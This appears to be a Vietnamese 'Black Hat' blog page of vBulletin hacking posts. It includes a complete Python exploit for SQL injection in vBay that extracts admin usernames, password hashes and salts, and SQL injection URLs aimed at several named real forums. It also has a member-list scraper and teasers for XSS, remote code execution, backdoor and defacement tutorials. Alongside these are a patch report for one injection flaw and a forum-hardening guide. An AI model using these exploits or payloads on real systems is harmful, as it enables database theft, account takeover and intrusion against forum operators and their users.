Kiến thức Black Hat

AD Issei

[XSS] VietVBB.vn - Cross Site Scripting Vulnerability

Bug XSS tại mod VbShout của vBulletin . Một trong những mod khá thông dụng. Video khai thác lỗ hổng (PoC) được thực hiện ngay tại website ...

AD Issei

[Video TUT] Remote Code Execution vbullentin 4.1.10 Exploit

Greetings:Pirjo(iranian black hat hacker),Team openfire,Team INTRA,team injectors and all hackers

AD Issei

<pre> <?php<br />    // GET user<br />    function duyk_get_all_usr($link, $total_usr)<br />        {<br />            $max_page = $total_usr/100;<br />            $max_page = round($max_page);<br />            <br />            for($page=1;$page<=$max_page;$page++)<br />                {<br />                    $contents = file_get_contents($link.'/memberlist.php?order=asc&sort=username&pp=100&page='.$page);<br />                    for($id=1;$id<=100;$id++)<br />                        {<br />                            $duyk_user .= duyk_tach('<td class="alt1 username">', '<span class="usertitle">', $id, $contents).'</br>';<br />                        }                <br />                }<br />            return $duyk_user;<br />        }<br />    <br />    // Tach<br />    function duyk_tach($dau, $cuoi, $vitri, $noidung)<br />        {<br />            $noidung = explode($dau, $noidung);<br />            $ketqua = explode($cuoi, $noidung[$vitri]);<br />            return $ketqua[0];<br />        }<br />    <br />    echo duyk_get_all_usr('http://victim.com/forum', 100); // Thay 100 = tong so usr<br />    <br />?> <br /></pre>

[PHP] Get list username - vBulletin

<?php // GET user function duyk_get_all_usr($link, $total_usr) { $max_page = $total_usr/100; $ma...

AD Issei

<pre>#!/usr/bin/env python -W ignore::DeprecationWarning<br />  <br />"""<br />  <br />   VBay <= 1.1.9 - Remote Error based SQL Injection<br />    <br />                        ~ Author:  Dan UK<br />                        ~ Contact: http://www.hackforums.net/member.php?action=profile&uid=817599<br />                        ~ Date:    10/11/12<br />          <br />           DETAILS<br />           Among a couple of other unsanitized parameters used within an INSERT INTO statement<br />           on line 424-460 of /upload/vbay.php, the "type" variable can be used to exploit this<br />           using error based sql injection, making it possible to grab anything the user wants<br />           from the vbulletin database (and any others if accessible).<br />    <br />           As said above, the affected file is /upload/vbay.php.<br />           On line 418, we can see the $vbulletin->input variable "type"<br />           being assigned with the datatype NO_HTML. Using this data type<br />           allows malicious attacks to still be executed.<br />    <br />           At line 448, it is used within the insert into statement,<br />           without any sanitization.<br />    <br />          <br />           POC<br />           - You will need to register an account.<br />           - Go to [site]/vbay.php?do=postauction.<br />           - Modify your post data using a tool such as live http headers, or setting it directly<br />             using a tool such as curl/wget to grab the source.<br />           - Set the value of "type=" to something that will cause an error, such as a single tick.<br />             Example: POST type='<br />           - If, when you view the source, you get a vbulletin error message surrounded within<br />             comments, then it's possible to go ahead. If not, blind is the way forward.<br />    <br />           If error based is possible for you, you could either just simply look at some tutorials<br />           and go from there, or run the script below which will grab the details for the user specified.<br />    <br />           Have fun.<br />  <br />"""<br />  <br />from optparse import OptionParser, OptionGroup<br />from argparse import OPTIONAL<br />import cookielib, urllib, urllib2, httplib<br />import sys, md5, urlparse, re<br />  <br />"""<br />OPTION PARSER/USAGE<br />"""<br />usage = "./%prog [options]\n"<br />usage += "-h or --help for more help."<br />  <br /># Required options<br />parser = OptionParser(usage=usage)<br />parser.add_option("-u", dest="username",<br />                  help="Working username to the target forum.")<br />parser.add_option("-p", dest="password",<br />                  help="Working password to the target forum.")<br />parser.add_option("--host", dest="forumpath",<br />                  help="FULL path to the vbulletin forum.")<br />  <br /># Optional Options<br />optional = OptionGroup(parser, "Optional arguments")<br />optional.add_option("-f", dest="userid",<br />                    help="User ID to grab. Default is 1.", metavar="USERID",<br />                    default="1")<br />optional.add_option("-s", dest="prefix",<br />                    help="Set the prefix of the vBulletin forum\<br />                         Default is null.", default="")<br />optional.add_option("-g", "--grab-prefix", dest="grabprefix",<br />                    help="Grab the tables prefix.", default=False,<br />                    action="store_true")<br />  <br />parser.add_option_group(optional)<br />  <br />(options, args) = parser.parse_args()<br />  <br />if not options.forumpath:<br />    parser.error('[-] No forum path given.')<br />if not options.username:<br />    parser.error('[-] No username given.')<br />if not options.password:<br />    parser.error('[-] No password given.')<br />  <br />  <br />"""<br />HEADER<br />"""<br />def Header():<br />    header = """<br /># # # # # # # # # # # # # # # # # #<br /># VBay <=1.1.9 SQL Injection 0day #<br />#            By Dan_UK            #<br /># # # # # # # # # # # # # # # # # #\n"""<br />    return header<br />  <br />"""<br />LOGIN AND EXTRACT NEEDED COOKIES<br />"""<br />def loginForum(forum, username, password):<br />    md5pass = md5.md5(password).hexdigest()<br />    postdata = urllib.urlencode({<br />                'do':'login',<br />                'vb_login_md5password':md5pass,<br />                'vb_login_username':username,<br />                'cookieuser':'1'<br />               })<br />    cookie_jar = cookielib.CookieJar()<br />    handeler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))<br />    handeler.open(forum + "login.php?do=login", postdata)<br />    <br />    for cookie in cookie_jar:<br />        if "bbsessionhash" in str(cookie):<br />            return cookie_jar<br />  <br />  <br />"""<br />CHECK VBAY EXISTS<br />"""<br />def get_server_status_code(forum):<br />    host, path = urlparse.urlparse(forum)[1:3]<br />    try:<br />        conn = httplib.HTTPConnection(host)<br />        conn.request('HEAD', path)<br />        return conn.getresponse().status<br />    except StandardError:<br />        return None<br />  <br />def checkExists(forum):<br />    good_codes = [httplib.OK, httplib.FOUND, httplib.MOVED_PERMANENTLY]<br />    return get_server_status_code(forum + "vbay.php") in good_codes<br />  <br />"""<br />CHECK DEBUG MODE ENABLED<br />"""<br />def checkVuln(forum, cookie_jar):<br />    payload = {<br />               "POST":<br />                      urllib.urlencode({"type":"'"}),<br />               "SCRIPT":"vbay.php?do=postauction"<br />              }<br />    try:<br />        handeler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))<br />        resp = handeler.open(forum + payload["SCRIPT"], payload["POST"])<br />    except urllib2.HTTPError as e:<br />        e_mesg = e.read()<br />        <br />    if "MySQL Error" in e_mesg:<br />        return True<br />  <br />"""<br />GRAB PREFIX<br />"""<br />def grabPrefix(forum, cookie_jar):<br />    payload = {<br />               "SQL":urllib.urlencode({"type":"'"}),<br />               "SCRIPT":"vbay.php?do=postauction"<br />              }<br />    <br />    try:<br />        handler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))<br />        resp = handler.open(forum + payload["SCRIPT"], payload["SQL"])<br />    except urllib2.HTTPError as e:<br />        e_mesg = e.read()<br />    <br />    prefix = re.search('INTO(.*)vbay_items', e_mesg).group(1)<br />    return prefix<br />        <br />    <br />  <br />"""<br />GRAB INFO<br />"""<br />def grabInfo(forum, cookie_jar, prefix, userid):<br />    # 0x2564656c696d312125 = "%delim1!%"<br />    payload = {<br />                "SQL":<br />                      urllib.urlencode({<br />                       "type":"' and (select 1 from (select count(*),concat((select(select concat(cast(concat(0x2564656c696d312125,COL_NAME,0x2564656c696d312125) as char),0x7e)) from " + str(prefix) + "user WHERE userid=" + str(userid) + " limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ''='",<br />                      }),<br />               "COLS": ["username", "password", "salt"],<br />               "SCRIPT":"vbay.php?do=postauction"<br />              }<br />    <br />    info = []<br />    for col in payload["COLS"]:<br />        print "[!] Grabbing the %s" % col<br />        try:<br />            handler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))<br />            resp = handler.open(forum + payload["SCRIPT"], payload["SQL"].replace("COL_NAME", col))<br />        except urllib2.HTTPError as e:<br />            e_mesg = e.read()<br />            info.append(e_mesg.split("%delim1!%")[1].strip("\n"))<br />    return info<br />    <br />    <br />"""<br />MAIN<br />"""<br />def main():<br />     username = options.username<br />     password = options.password<br />     forum = options.forumpath<br />     userid = options.userid<br />     prefix = options.prefix<br />      <br />     if forum.lower()[:7] != "http://":<br />         if forum.lower()[:8] == "https://":<br />             forum = forum.replace("https://", "http://")<br />     if forum[-1:] != "/":<br />         forum = forum + "/"<br />              <br />     print Header()<br />      <br />     print "[!] Trying to login to: " + forum<br />     if loginForum(forum, username, password):<br />         cookies = loginForum(forum, username, password)<br />         print "[+] Login works."<br />     else:<br />         print "[-] Login doesn't work. (" + username + ":" + password + ")"<br />         print "[-] Exiting."<br />         sys.exit()<br />          <br />     print "\n[!] Checking if vBay is installed.."<br />     if (checkExists(forum)):<br />         print "[+] vBay was found. Continuing with exploit."<br />     else:<br />         print "[-] vBay could no be found. (" + forum + "/vbay.php)"<br />         print "[-] Exiting."<br />         sys.exit()<br />          <br />     print "\n[!] Checking if debug mode is enabled.."<br />     if checkVuln(forum, cookies):<br />         print "[+] Debug mode is enabled, exploit is possible."<br />          <br />     if options.grabprefix == True:<br />         print "\n[!] Grabbing prefix."<br />         print "[+] Prefix found:" + grabPrefix(forum, cookies)   <br />         sys.exit()<br />          <br />          <br />     print "\n[!] Grabbing info.\n"<br />     info = grabInfo(forum, cookies, prefix, userid)<br />     print "\n[+] Formatting for ease of view."<br />     print "\n\n[+] Username: " + info[0]<br />     print "[+] Password: " + info[1]<br />     print "[+] Salt: " + info[2]<br />     print "\n\nThanks for using my tool."<br />          <br />      <br />if __name__ == "__main__":<br />    main()<br /></pre>

vBulletin vBay <=1.1.9 Error-Based SQL Injection

#!/usr/bin/env python -W ignore::DeprecationWarning """ VBay <= 1.1.9 - Remote Error based SQL Injection ...

AD Issei

vBulletin 3.0 Private Message HTML Injection Vulnerability

source: http://www.securityfocus.com/bid/7594/info A vulnerability has been reported in vBulletin 3.0.0 beta 2. The problem is said to occ...

AD Issei

Chèn Backdoor vào VBB nhanh-gọn-nhẹ-hiệu quả

Hello, hnay DuyK sẽ hướng dẫn các bạn cách chèn 1 “cửa sau” vào VBB nhanh-gọn-nhẹ-hiệu quả: Khi bạn đã login vào được admincp của 1 forum vb...

AD Issei

[TUT] SQLi - Login AdminCP - Deface with XSS

* Tutorial khai thác "ChangUonDyU - Advanced Statistics SQL injection", truy vấn lấy hash để bypass AdminCP, Deface sử dụng XSS. *...

AD Issei

<pre>    #####################################################################################################<br />    ->Vulnerability<br />    #####################################################################################################<br /><br />    ->http://target.com/forum/ajax.php?do=inforum&listforumid=52) UNION SELECT 1,2,3,4,5,6,concat_ws(0x7c,user(),version(),database()),8,9,10,11 from user where userid=1-- -&result=20<br /><br />    #####################################################################################################<br /><br />    ->eg: http://diendanhaiduong.com/forum/ajax.php?do=inforum&listforumid=52) UNION SELECT 1,2,3,4,5,6,concat_ws(0x7c,user(),version(),database()),8,9,10,11 from user where userid=1-- -&result=20<br />    http://sinhvientayan.com/forum/ajax.php?do=inforum&listforumid=52) UNION SELECT 1,2,3,4,5,6,concat_ws(0x7c,<br /><br />    user(),version(),database()),8,9,10,11 from user where userid=1-- -&result=20<br /><br />    http://vietsource.net/forum/ajax.php?do=inforum&listforumid=52) UNION SELECT 1,2,3,4,5,6,concat_ws(0x7c,user(),version(),database()),8,9,10,11 from user where userid=1-- -&result=20<br /><br />    http://tuoitredonganh.vn/diendan/ajax.php?do=inforum&listforumid=52) UNION SELECT 1,2,3,4,5,6,concat_ws(0x7c,user(),version(),database()),8,9,10,11 from user where userid=1-- -&result=20<br /><br />    #####################################################################################################<br />    [+] If vbb version 4.1.2,3,4,5 you can install addons Advanced Cookie Manager to fake login.<br />    [+] Md5 Hash Generator -> http://www.miraclesalad.com/webtools/md5.php<br />    [+] Thanks to Juno_okyo &  all VNH Group members.<br /><br />    ########################################################################################## <br /><br /><br /></pre>

ChangUonDyU - Advanced Statistics SQL injection Vulnerability

##################################################################################################### ->Vulnerability #######...

AD Issei

<span style="color: lime;"><span style="font-size: small;">Mấy ngày nay DaiCa.Net đã bị kẻ lạ login vào account admin.<br />Tuy nhiên kẻ lạ mặt chưa làm gì được<br /><br />Sau khi được juno_okyo Report là có bug tại mod Changuondyu Static.<br />Mình đã kiểm tra lại các input, tất cả các input chỉ có 1 input được đưa vào truy vấn, đó là <br /></span></span><span style="color: yellow;"><span style="font-size: small;">$_REQUEST['listforumid']</span></span><span style="color: lime;"><span style="font-size: small;"><br /><br />Và  quả thật là có bug SQLi. Đây là 1 lỗi cực kỳ nghiêm trọng và sai xót     của coder (Còn nghiêm trọng hơn Bug Search VBB vì rất nhiều người   đang   sử dụng mod này).<br /><br />Từ Bug này, chúng ta có thể lấy được dữ liệu từ database => Login vào    admin => Login vào admincp => Up shell => blah blah<br /><br />Ở đây DuyK sẽ không nói đến cách khai thác để đề phòng "Hacker chẻ châu"    quậy phá mọi người (Hacker thực sự sẽ hiểu vấn đề ngay nên khỏi cần    phải nói)<br /><br /><u><b><i> Vì rất nhiều người đang sử dụng mod này và chưa fix nên DuyK hi vọng mọi người sẽ lan truyền report này.</i></b></u><br /><br />Để  fix mod này. Các bạn vào: Admincp -> Plugin & product option     -> Plugin manage -> ChangUonDyU - Advanced Statistics - Get  Data    -> EDIT<br /><br />Bạn tìm đến dòng: <br /></span></span><span style="color: yellow;"><span style="font-size: small;"><b>$foruminid = $vbulletin->db->escape_string($_REQUEST['listforumid']);</b></span></span><span style="color: lime;"><span style="font-size: small;"><br /><br />Thay bằng: <br /></span></span><span style="color: yellow;"><span style="font-size: small;"><b>$foruminid = intval($_REQUEST['listforumid']);</b></span></span><span style="color: lime;"><span style="font-size: small;"><br /><br />Report từ: DaiCa.Net - Forum newbie học hỏi<br /><br />P/S by Juno_okyo:<br /></span></span><br /><div class="bbcode_container"><span style="color: lime;"><span style="font-size: small;"> <div class="bbcode_quote">  <div class="quote_container">                   </div></div></span></span></div><div class="bbcode_container"><span style="color: lime;"> <div class="bbcode_quote">  <div class="quote_container">            <span style="font-size: medium;">Rất nhiều Diễn đàn đang sử dụng mod Statstics này nên mọi người nhanh chóng fix nhé.<br />Bug này được phát hiện từ mod tương tự của bác Chang cho MyBB, kiểm tra thì thấy mod bên vBB cũng dính.</span><span style="font-size: small;"><br /></span>      </div></div></span></div>

[Report] ChangUonDyU Advanced Statistics - SQL injection

Mấy ngày nay DaiCa.Net đã bị kẻ lạ login vào account admin. Tuy nhiên kẻ lạ mặt chưa làm gì được Sau khi được juno_okyo Report là có bug tại...

AD Issei

<div style="text-align: center;"><img alt="http://i.imgur.com/6XHnF.png" class="decoded" height="201" src="http://i.imgur.com/6XHnF.png" width="400" /><br /><br /><img alt="http://i.imgur.com/EzzCM.png" class="decoded" height="167" src="http://i.imgur.com/EzzCM.png" width="400" /> </div><div style="text-align: center;"><br /><br /><br /><br /><img alt="http://i.imgur.com/E3Vzg.png" class="decoded" height="301" src="http://i.imgur.com/E3Vzg.png" width="400" /></div><div style="text-align: center;"><br /><br /><img alt="http://i942.photobucket.com/albums/ad269/juno_okyo/Upload%20via%20Firefox/xtea.png" class="decoded" height="301" src="http://i942.photobucket.com/albums/ad269/juno_okyo/Upload%20via%20Firefox/xtea.png" width="400" /><br /><br /><img alt="http://i942.photobucket.com/albums/ad269/juno_okyo/Upload%20via%20Firefox/TinhAE.png" class="decoded" height="261" src="http://i942.photobucket.com/albums/ad269/juno_okyo/Upload%20via%20Firefox/TinhAE.png" width="400" /><br /><br /><span style="font-size: large;">Tutorial:</span><br /><br /><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="allowfullscreen" frameborder="0" height="266" mozallowfullscreen="mozallowfullscreen" src="https://www.youtube.com/embed/kOLxSoNTlS0?feature=player_embedded" webkitallowfullscreen="webkitallowfullscreen" width="320"></iframe></div><br /><br /><span style="font-size: large;">Download: <a href="http://www.mediafire.com/?r38afd7q36gh9rr" rel="nofollow" target="_blank"><span style="color: yellow;"><span style="font-size: large;">http://www.mediafire.com/?r38afd7q36gh9rr</span></span></a></span></div><div style="text-align: center;"><br /><span style="font-size: large;">Pass Unlock: <span style="color: yellow;">junoo<span style="font-size: large;">kyo</span></span>.</span></div>

[vBB] ChangUonDyU Advanced Statistics - SQL injection

Tutorial: Download: http://www.mediafire.com/?r38afd7q36gh9rr Pass Unlock: junoo kyo .

AD Issei

<span style="color: red;"><b>Phần I</b></span><br />Bài viết này Mafia viết thêm dựa trên tài liệu của shacker và một bài  viết bằng tiếng Anh viết về bảo mật cho vbb. ok vào đề đi nào!<br /><br /><span style="color: red;">I/Bài toán 1</span><br /><blockquote class="tr_bq">Tôi đưa ra một giả thiết rằng tài khoản Admin trên forum bạn bị ai đó  chiếm lấy bất hợp pháp (thông qua đoán pass, cài troyzan, ăn cấp  password cookie...).        </blockquote><div style="text-align: center;"><img alt="" border="0" height="300" src="http://i55.photobucket.com/albums/g121/letrungtin/tut2.jpg" width="400" /></div><br />Vấn đề đặt ra ở đây là sẽ phải có một pass thứ 2 để ngăn chặn bước chân của kẻ muốn tấn công forum bạn lại chứ <br />Thông thường thì một số bạn dùng htaccess tôi sẽ cung cấp cho các bạn thêm một cách làm nữa: <br /><br />Cách thiết lập:<br /><blockquote class="tr_bq">Bạn edit file global.php từ thư mục admincp của diễn đàn (không phải global.php nằm bên ngoài index)</blockquote>-Bạn tìm<br /><div class="bbcode_container"><div class="bbcode_quote"><blockquote class="tr_bq"><div class="quote_container"><?php       </div></blockquote></div></div> -Thêm vào sau đó<br /><blockquote class="tr_bq" style="color: yellow;">//Khai bao dang nhap<br />$config['dn2_dnp'] = 'usename';<br />$config['mk2_dnp'] = 'password';<br /><br /><br />if ($_SERVER['PHP_AUTH_USER'] != $config['dn2_dnp'] || $_SERVER['PHP_AUTH_PW'] != $config['mk2_dnp']){<br />header('WWW-Authenticate: Basic realm="Xin vui long khai bao thong tin yeu cau truoc khi duoc chuyen den bang dang nhap"');<br />header('HTTP/1.0 401 Unauthorized');<br /><br /><br /><br /><br />//Trang sẽ hiển thị khi thông tin khai báo sai bét. Hỗ trợ HTML nên bạn có thể thiết kế một trang đẹp hơn<br />echo '<center>Đi chổ khác chơi đi chú em. Nhấn nút biến!</center>';<br />exit;<br />}</blockquote>-Save lại với mã là UTF-8<br /><br />kết quả here<br /><div style="text-align: center;"><img alt="" border="0" height="300" src="http://i55.photobucket.com/albums/g121/letrungtin/tut1.jpg" width="400" /></div><br />Bạn làm thêm một cái nữa ở modcp để bảo mật cho staff của mình luôn.<br /><br /><span style="color: red;">II/Bài toán 2</span><br />Hacker thông qua local biết được cấu trúc dữ liệu site bạn.<br />Mục đích của cuộc tấn công của hacker là đọc được file config, giả sử tôi có một file config sau: <br /><blockquote class="tr_bq" style="color: yellow;">$INFO['sql_database'] = 'ngoisaon_Forums';<br />$INFO['sql_driver'] = 'mySQL';<br />$INFO['sql_host'] = 'localhost';<br />$INFO['sql_pass'] = 'HANOIMUATHU';</blockquote>Đây là info database của diễn đàn hacker có thể thông qua nó drop  database của forum hoặc thông qua shell đổi được password của admin  ~~~> nguy hiểm thật nhỉ <br /><br />Cách khắc phục:<br /><blockquote class="tr_bq">- Chmod (ko bàn ở đây)<br />- Zend (dùng trình zendgaurd để zend lại các file php quan trọng)<br />- Đổi tên thư mục include (chứa file config) và file config.php</blockquote>Tôi sẽ hướng dẫn các bạn đổi tên thư mục include (chứa file config) và file config.php:<br /><br /><b>B1</b>: Bạn edit file diagnostic.php trong thư mục admincp<br />-Tìm <br /><blockquote class="tr_bq" style="color: yellow;">$ignored_files = array('/includes/config.php', '/includes/config.php.new',</blockquote>-Thay bằng<br /><blockquote class="tr_bq" style="color: yellow;">$ignored_files = array('/thư mục bạn muốn đổi tên/tên file config  mới.php', '/thư mục bạn muốn đổi tên/tên file config mới.php.new',</blockquote>B2: Bạn edit file class_core.php trong thư mục include<br />-Tìm<br /><div class="bbcode_container" style="color: yellow;"><div class="bbcode_quote"><blockquote class="tr_bq"><div class="quote_container">include(CWD . '/includes/config.php');       </div></blockquote></div></div> -Thay bằng<br /><blockquote class="tr_bq" style="color: yellow;">include(CWD . '/thư mục bạn muốn đổi tên/tên file config mới.php');</blockquote>-Tìm<br /><div class="bbcode_container"><div class="bbcode_quote"><blockquote class="tr_bq" style="color: yellow;"><div class="quote_container">if (file_exists(CWD. '/includes/config.php'))       </div></blockquote>-Thay bằng<br /><div class="bbcode_container" style="color: yellow;"><div class="bbcode_quote"><blockquote class="tr_bq"><div class="quote_container">if (file_exists(CWD. '/thư mục bạn muốn đổi tên/tên file config mới.php'))       </div></blockquote></div></div>- Bạn có thể chọn nhiều cách làm như thay đổi tên thư mục chứa file  config hoặc thay đổi file tên file config (làm 2 cách càng tốt).<br />tôi khuyên các bạn nên rename tên thành class_gì đó hoặc functions_gì đó để gây thêm khó khăn về thị lực cho kẻ muốn xâm nhập <br />- Còn file bạn tạo một file mới với tên config.php và điền info như sau:<br /><blockquote style="color: cyan;">Lạy anh tha cho em em có làm gì nên tội thì anh hãy pm em mà trách tội em :(</blockquote>Bonus cho bạn code fake bigdump mafia chôm được<br />demo là vipunder<br /><blockquote class="tr_bq" style="color: yellow;"><html><br /><head><br /><meta http-equiv="Content-Language" content="en-us"><br /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><br /><meta name="GENERATOR" content="Microsoft FrontPage 4.0"><br /><meta name="ProgId" content="FrontPage.Editor.Document"><br /><title>.:: Loi roi ban ::.</title><br /></head><br /><body><br /><table border="0" cellpadding="0" cellspacing="0" width="100%" height="162"><br /><tr><br /><td width="33%" height="21"></td><br /><td width="33%" align="center" height="21"></td><br /><td width="34%" height="21"></td><br /></tr><br /><tr><br /><td width="33%" height="75"></td><br /><td width="33%" align="center" height="75"><img border="0" src="http://daoduytu.net/police.jpg"></td><br /><td width="34%" height="75"></td><br /></tr><br /><tr><br /><td width="33%" height="21"></td><br /><td width="33%" align="center" height="21"></td><br /><td width="34%" height="21"></td><br /></tr><br /><tr><br /><td width="33%" height="24"></td><br /><td width="33%" align="center" height="24"><font  face="Arial" size="4" color="#FF0000"><b>Địa chỉ này không tồn  tại hoặc bạn không được quyền truy  cập!</b></font></td><br /><td width="34%" height="24"></td><br /><center><font color="blue" size="5">Bạn sẽ được chuyển về trang bạn vừa xem</font></center><br /></tr><br /><tr><br /><td width="33%" height="21"></td><br /><td width="33%" align="center" height="21"><br /><script language="javascript"><br />window.setInterval("history.go(-1)", 5000);<br />//history.go(-1);<br /></script><br /></td><br /><td width="34%" height="21"></td><br /></tr><br /></table><br /></body><br /></html> </blockquote><hr /><br /><span style="color: red;"><b>phần II</b></span><br />Bài toán 3:Sau khi bạn đổi tên thư mục include (chứa file config) và  file config.php thì có cách nào để che dấu file config thêm một lần nữa  không nhỉ?<br />Câu trả lời là bạn có thể làm được nhưng làm trên host window hay linux thì bạn lưu ý như sau:<br /><span style="color: lime;">Bước 1: Xác định folder cần che dấu file config.<br /></span><br /><blockquote class="tr_bq">- Đối với host dùng linux bạn tạo 1 folder tên #data .Ý nghĩa của dấu #  thì trong linux dấu # sẽ bị lướt qua => ko truy cập được<br />- Đối với host dùng window bạn nên che dấu file config vào các folder có sẵn như admincp, modcp, style...</blockquote>Bước 2: Tiến hành quá trình che dấu.<br /><blockquote class="tr_bq">- Tạo một file php mới với tên bất kỳ (bạn nên nghĩ ra một cái tên gần  gần na ná với cấu trúc của forum vbb) ở đây tôi đặt tên là usercp.php- Tiếp theo bạn copy toàn bộ nội dung file config vào usercp.php</blockquote><span style="color: lime;">Bước 3:<br /></span><br /><blockquote class="tr_bq">- Xóa hết nội dung file config.php và thay bằng đoạn code<br /><span style="color: yellow;"><?php include "#data/usercp.php" ?></span> (đối với host dùng linux)<br />hoặc <span style="color: yellow;"><?php include "data/usercp.php" ?></span> (đối với host dùng window)<br />- Bây giờ file config của bạn đã được chuyển sang một folder khác với một cái tên khác.</blockquote><span style="color: lime;">Bước 4: Bảo mật thêm cho file config.<br /></span><br /><br /><blockquote class="tr_bq">- Lời khuyên là bạn nên dùng host linux để có được tính năng Chmod nếu Chmod tốt thì hacker sẽ khó lòng mà xâm nhập.<br />- Mã Hóa file config bằng zendguard.<br />- Dùng MD5 để mã hóa user và pass của file config.<br />- Bước cuối quan trọng nhất ,CHMOD folder #data (chỉ làm bước này nếu  bạn sử dụng host linux) là 111 nếu host có hỗ trợ còn không thì 711 cũng  được,nếu làm đúng file sẽ mất tiêu thư mục #data y như thư mục rỗng.<br />- file config cũ chứa nội dung <?php include "#data/usercp.php" ?> thì bạn hãy mã hóa nó.</blockquote><span style="color: red;">Bài toán 4: Để những folder như admincp, modcp thì tầm thường quá có thể nào thay đổi tên những folder này không.<br /></span><br />Bạn làm như sau: vào file config.php tìm đoạn này và edit nó<br />Code:<br /><blockquote class="tr_bq" style="color: yellow;">$config['Misc']['admincpdir'] = 'admincp'; //thay nội admincp bằng tên folder mà bạn muốn đổi<br />$config['Misc']['modcpdir'] = 'modcp'; //thay nội modcp bằng tên folder mà bạn muốn đổi </blockquote><span style="color: red;">Bài toán 5: Phương pháp chống những kẻ tò mò tọc mạch<br /></span><br />Bạn tạo một file index.html với nội dung tùy ý ở bất cứ folder nào trong  host. (kể cả mục skin, imager, và những folder con trong folder mẹ  imager)<br /><br /><span style="color: red;">Bài toán 6: Che dấu những folder nhạy cảm.<br /></span><br /><blockquote class="tr_bq">- Bạn có thể dùng .htaccess.<br />- Rename các folder nhạy cảm như data, databackup, mysqldumper...<br />- Tạo subdomain để vào VD: sql.yourdomain.com và trỏ tới mysqldumper.</blockquote><span style="color: red;">Bài toán 7: Có cách nào để phát hiện quá trình xâm nhập không nhỉ?<br /></span><br />Câu trả lời rằng bạn hoàn toàn có thể biết trước được quá trình xâm nhập  vào admincp hoặc modcp do member của diễn đàn bạn hoặc một kẻ phá hoại  nào đó. Quá trình xâm nhập có thể là đoán pass.<br />Điều gì bạn muốn biết về quá trình xâm nhập?<br />Đó là nickname đang cố xâm nhập, ip của hắn, số lần cố gắn xâm nhập, thời gian diễn ra quá trình xâm nhập.<br /><blockquote class="tr_bq">Demo: test ở diễn đàn ku LTA (mafia team)<br />Username tried: [l] [t] [a]<br />IP Address: 117.2.15.36<br />Host: 117.2.15.36<br />Strikes: 2 out of 5<br />Referrer: <a href="http://forum.b3pro.us/modcp/index.php" target="_blank">http://forum.b3pro.us/modcp/index.php</a><br />Script: <a href="http://forum.b3pro.us/login.php?do=login" target="_blank">http://forum.b3pro.us/login.php?do=login</a><br />Date/Time: Sunday, August 17th, 2008 at 6:43:33 am ?<br />==========================================<br />Username tried: asedfsda<br />IP Address: 117.2.15.36<br />Host: 117.2.15.36<br />Strikes: 1 out of 5<br />Referrer: <a href="http://forum.b3pro.us/modcp/index.php" target="_blank">http://forum.b3pro.us/modcp/index.php</a><br />Script: <a href="http://forum.b3pro.us/login.php?do=login" target="_blank">http://forum.b3pro.us/login.php?do=login</a><br />Date/Time: Sunday, August 17th, 2008 at 6:42:54 am</blockquote>Để làm được như thế này bạn lần lượt làm theo hướng dẫn ở các bước sau nhé:<br /><br /><span style="color: lime;">Bước 1: edit file login.php<br /></span><br />Bạn tìm:<br /><blockquote class="tr_bq" style="color: yellow;">$strikes = verify_strike_status($vbulletin->GPC['vb_login_username']); </blockquote>Và add sau nó:<br /><div class="bbcode_container" style="color: yellow;"><div class="bbcode_quote"><blockquote class="tr_bq"><div class="quote_container">$username = $vbulletin->GPC['vb_login_username'];<br />$fdate = date('l, F jS, Y');<br />$ftime = date('g:i:s a');<br />$fdatetime = "Date/Time: $fdate at $ftime \r\n";<br />$fscriptpath = "Script: http://$_SERVER[HTTP_HOST]" . SCRIPTPATH . "\r\n";<br />$freferer = 'Referrer: ' . REFERRER . "\r\n";<br />$fusername = "Username tried: $username \r\n";<br />$fipaddress = 'IP Address: ' . IPADDRESS . "\r\n";<br />$iphostname = "Host: " . @gethostbyaddr(IPADDRESS) . "\r\n";<br />if ($vbulletin->userinfo['userid'] > 0)<br />{<br />$realname = "\nUSER ATTEMPT: " .  $vbulletin->options['bbtitle'] . " has identified this registered  user as: " . $vbulletin->userinfo['username'] . "\r\n";<br />}       </div></blockquote></div></div> <span style="color: lime;">Bước 2: vẫn ở file login.php<br /></span><br />Bạn tìm:<br /><div class="bbcode_container" style="color: yellow;"><div class="bbcode_quote"><blockquote class="tr_bq"><div class="quote_container">// log this error if attempting to access the control panel<br />require_once(DIR . '/includes/functions_log_error.php');       </div></blockquote></div></div> Thêm sau nó:<br /><div class="bbcode_container"><div class="bbcode_quote"><blockquote class="tr_bq" style="color: yellow;"><div class="quote_container">$fstrk = "Strikes: $GLOBALS[strikes] out of 5 \r\n";<br />if ($vbulletin->GPC['logintype'] === 'cplogin')<br />{<br />$subject= 'WARNING: Failed Admin CP logon in ' .  $vbulletin->db->appname . ' ' .  $vbulletin->options['templateversion'] . "\r\n\r\n";<br />$message="Someone is trying to login to your " .  $vbulletin->options['bbtitle'] . " Admin  CP!\n\n$fusername$fipaddress$iphostname$fstrk$fref   erer$fscriptpath$fdatetime$realname";<br />}<br />else<br />{<br />$subject= 'WARNING: Failed Mod CP logon in ' .  $vbulletin->db->appname . ' ' .  $vbulletin->options['templateversion'] . "\r\n\r\n";<br />$message="Someone is trying to login to your " .  $vbulletin->options['bbtitle'] . " Mod  CP!\n\n$fusername$fipaddress$iphostname$fstrk$fref   erer$fscriptpath$fdatetime$realname";<br />}<br />vbmail($vbulletin->options['webmasteremail'], $subject, $message, true);       </div></blockquote>Webmasteremail các bạn chỉnh trong VB Options nhé code sẽ tự động gởi mail thông báo quá trình xâm nhập cho bạn.<br />Note:<br /><blockquote class="tr_bq">- test trên forum 3.7<br />- Special thanks to Boofo for this mod!</blockquote><span style="color: red;">Bài toán 8: Phương pháp chống up shell wa plugin và edit plugin</span><br />Bạn chèn đoạn code này vào file config.php (sau dòng <?php)<br /><blockquote class="tr_bq" style="color: yellow;">define('DISABLE_HOOKS', true);</blockquote> Bonus: phương pháp thiết lập ở config.php để ngăn chặn việc xóa, sửa hay thêm bớt thông tin tài khoản admin<br /><div class="bbcode_container"><div class="bbcode_quote"><blockquote class="tr_bq" style="color: yellow;"><div class="quote_container">//    ****** UNDELETABLE / UNALTERABLE USERS ******<br />//    The users specified here will not be deletable or alterable from the control panel 